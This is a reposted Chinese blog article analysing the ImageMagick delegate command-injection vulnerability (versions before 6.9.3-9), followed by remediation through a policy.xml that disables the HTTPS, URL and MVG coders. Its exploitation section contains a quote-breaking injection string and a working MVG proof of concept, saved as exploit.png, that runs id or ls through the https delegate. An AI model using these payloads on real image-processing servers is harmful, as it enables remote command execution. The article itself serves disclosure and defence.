gpt4 book ai didi

深入浅析ImageMagick命令执行漏洞

转载 作者:qq735679552 更新时间:2022-09-27 22:32:09 25 4
gpt4 key购买 nike

CFSDN坚持开源创造价值,我们致力于搭建一个资源共享平台,让每一个IT人在这里找到属于你的精彩世界.

这篇CFSDN的博客文章深入浅析ImageMagick命令执行漏洞由作者收集整理,如果你对这篇文章有兴趣,记得点赞哟.

00 前言 。

什么是ImageMagick?

ImageMagick是一个功能强大的开源图形处理软件,可以用来读、写和处理超过90种的图片文件,包括流行的JPEG、GIF、 PNG、PDF以及PhotoCD等格式。使用它可以对图片进行切割、旋转、组合等多种特效的处理.

由于其功能强大、性能较好,并且对很多语言都有拓展支持,所以在程序开发中被广泛使用。许多网站开发者喜爱使用ImageMagick拓展来做web上的图片处理工作,比如用户头像生成、图片编辑等.

01 漏洞描述 。

ImageMagick是一款开源图片处理库,支持PHP、Ruby、NodeJS和Python等多种语言,使用非常广泛。包括PHP imagick、Ruby rmagick和paperclip以及NodeJS imagemagick等多个图片处理插件都依赖它运行。当攻击者构造含有恶意代码得图片时,ImageMagick库对于HTTPPS文件处理不当,没有做任何过滤,可远程实现远程命令执行,进而可能控制服务器.

02 影响程度 。

攻击成本:低 。

危害程度:高 。

影响范围:ImageMagick 6.9.3-9以前的所有版本 。

03 漏洞分析 。

命令执行漏洞是出在ImageMagick对https形式的文件处理的过程中.

ImageMagick之所以支持那么多的文件格式,是因为它内置了非常多的图像处理库,对于这些图像处理库,ImageMagick给它起了个名字叫做”Delegate”(委托),每个Delegate对应一种格式的文件,然后通过系统的system()命令来调用外部的lib进行处理。调用外部lib的过程是使用系统的system命令来执行的,导致命令执行的代码.

ImageMagick委托的默认配置文件: /etc/ImageMagick/delegates.xml 。

具体代码请参考:Github-ImageMagick 。

我们定位到https委托得那一行:

?
1
" <delegate decode=\"https\" command=\"" wget " -q -O " % o " " https: % M "\"/>"

可以看到,command定义了它对于https文件处理时带入system()函数得命令:"wget" -q -O "%o" "https:%M".

wget是从网络下载文件得命令,%M是一个占位符,它得具体定义在配置文件中如下:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
% i input image filename
% o output image filename
% u unique temporary filename
% Z unique temporary filename
% # input image signature
% b image file size
% c input image comment
% g image geometry
% h image rows (height)
% k input image number colors
% l image label
% m input image format
% p page number
% q input image depth
% s scene number
% w image columns (width)
% x input image x resolution
% y input image y resolution

可以看到%m被定义为输入的图片格式,也就是我们输入的url地址。但是由于只是做了简单的字符串拼接,没有做任何过滤,直接拼接到command命令中,所以我们可以将引号闭合后通过"|",”`”,”&”等带入其他命令,也就形成了命令注入.

比如我们传入如下代码:

?
1
https: / / test.com"|ls “ - al

则实际得system函数执行得命令为:

?
1
“wget” - q - O “ % o” “ https: / / test.com"|ls “ - al”

这样,ls -al命令成功执行.

04 漏洞利用 。

这个漏洞得poc由老外给出得,如下:

?
1
2
3
4
push graphic - context
viewbox 0 0 640 480
fill 'url(https://"|id; ")'
pop graphic - context

push和pop是用于堆栈的操作,一个进栈,一个出栈,

viewbox是表示SVG可见区域的大小,或者可以想象成舞台大小,画布大小。简单理解就是根据后面得参数选取其中得一部分画面,

fill url()是把图片填充到当前元素内,

在其中我们使用了fill url()的形式调用存在漏洞的https delegate,当ImageMagick去处理这个文件时,漏洞就会被触发.

附:ImageMagick默认支持一种图片格式,叫mvg,而mvg与svg格式类似,其中是以文本形式写入矢量图的内容,允许在其中加载ImageMagick中其他的delegate(比如存在漏洞的https delegate)。并且在图形处理的过程中,ImageMagick会自动根据其内容进行处理,也就是说我们可以将文件随意定义为png、jpg等网站上传允许的格式,这大大增加了漏洞的可利用场景.

利用过程:

创建一个exploit.png文件,包含以下内容:

?
1
2
3
4
push graphic - context
viewbox 0 0 640 480
fill 'url(https://test.com/image.jpg"|ls "-al)'
pop graphic - context

执行命令:convert exploit.png 1.png(后面的是convert的参数) 。

深入浅析ImageMagick命令执行漏洞

05 漏洞修复 。

升级到最新版本 。

配置/etc/ImageMagick/policy.xml的方式来禁止https、mvg这些delegate,或者直接在配置文件删除相应的delegate 。

?
1
2
3
4
5
6
7
<policymap>
<policy domain = "coder" rights = "none" pattern = "EPHEMERAL" / >
<policy domain = "coder" rights = "none" pattern = "URL" / >
<policy domain = "coder" rights = "none" pattern = "HTTPS" / >
<policy domain = "coder" rights = "none" pattern = "MVG" / >
<policy domain = "coder" rights = "none" pattern = "MSL" / >
< / policymap>

以上所述是小编给大家介绍的ImageMagick命令执行漏洞的知识,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对我网站的支持! 。

原文链接:http://byd.dropsec.xyz/2016/10/02/ImageMagick命令执行漏洞浅析/ 。

最后此篇关于深入浅析ImageMagick命令执行漏洞的文章就讲到这里了,如果你想了解更多关于深入浅析ImageMagick命令执行漏洞的内容请搜索CFSDN的文章或继续浏览相关文章,希望大家以后支持我的博客! 。

25 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com